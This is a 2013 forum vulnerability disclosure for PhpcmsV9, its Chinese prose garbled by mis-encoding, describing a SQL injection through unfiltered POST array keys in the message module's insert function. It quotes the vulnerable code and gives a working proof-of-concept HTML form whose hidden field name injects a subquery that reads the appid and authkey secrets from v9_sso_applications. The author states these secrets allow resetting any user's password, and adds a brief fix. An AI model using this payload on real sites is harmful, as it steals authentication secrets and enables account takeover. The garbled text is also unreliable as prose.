admin ·¢±íÓÚ 2013-2-23 11:33:10

PhpcmsV9 SQL×¢ÉäÐÞ¸ÄÈÎÒâÓû§ÃÜÂë©¶´

¼òÒªÃèÊö£º

µÚ¶þ·¢ÈçÔ¼À´µ½£¬¸Ðл´ó¼ÒµÄ¹Ø×¢£¬ÔÚµÚ¶þ·¢ÖÐʹÓÃÁËÒ»¸öÎÞÏÞÖÆµÄSQL×¢É䣬×îÖÕÄ¿µÄ¿ÉÒÔÐÞ¸ÄÈÎÒâÓû§ÃÜÂ룬½¨ÒéÈ·Èϰ²È«Î£º¦µÈ¼¶Îª¸ß¡£

Ã÷ÌìÔÙ¸üÐÂÏÂÒ»¸ö©¶´¡£
Ïêϸ˵Ã÷£º
ÔÚ/phpcms9/phpcms/modules/message/index.phpÖÐÓдúÂëÈçÏ£º

$messageid = $this->message_db->insert($_POST['info'],true);


insert·½·¨ÊÇkey valueµÄ£¬´úÂëÈçÏ£º

public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
                }
               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);

                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
      }


àÅ£¬ºÜÒź¶µÄÊÇ

array_walk($fielddata, array($this, 'add_special_char'));


Öв¢Ã»ÓжÔkey×öÈκεĹýÂË£¬ËùÒÔ£¬µÚÒ»¶ÎÌáµ½µÄ´úÂëµ¼ÖÂÁËÒ»¸öSQL×¢Éä©¶´ £º£¨¡£

µ½´Ë£¬ÎªÁËpocһϣ¬ÎÒ¶ÁÈ¡ÁËÎÒ±¾µØµÄauthkey£¬½ÓÏÂÀ´ÎÒÒѾ­¿ÉÒÔÖØÖÃÈÎÒâÓû§ÃÜÂëÁË£¬ºóÃæµÄÊÂÇéÎÒ¾ÍûÓÐÑÝʾÁË¡£

©¶´Ö¤Ã÷£º
¶Á³öÁËphpsso_serverµÄappidºÍauthkey£¬È»ºó¿ÉÒÔµ÷ÓÃclient.class.phpÖеÄps_member_editº¯ÊýÐÞ¸ÄÈÎÒâÓû§ÃÜÂë¡£


±íµ¥ÈçÏ£ºÓû§ÃûʲôµÄµÃ×Ô¼º¸ÄÒ»¸Ä¡£
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>±ê Ì⣺</th>
<td><input name="info" type="text" id="subject" size="30" value="Re: hh"class="input-text"/></td>
</tr>
<tr>
<th>ÄÚ ÈÝ£º</th>
<td><textarea name="info"id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info" value="2" />
<input type="hidden" name="info" value="cc" />
<input type="hidden" name="info" value="hh">
<!-- ©¶´µÄÀûÓÃÖØµãÔÚÕâÀ↑ʼ -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- ©¶´µÄÀûÓÃÖØµãÔÚÕâÀï½áÊø -->
<tr>
<th>ÑéÖ¤Â룺</th>
<td><input name="code" type="text" id="code" size="10"class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="È· ¶¨" class="button"/>
</label></td>
</tr>
</table>
</form>
ÔÚadd_special_charº¯ÊýÄÚ¶Ôkey×ö¹ýÂ˾ͿÉÒÔÁË¡£



Ò³: [1]
²é¿´ÍêÕû°æ±¾: PhpcmsV9 SQL×¢ÉäÐÞ¸ÄÈÎÒâÓû§ÃÜÂë©¶´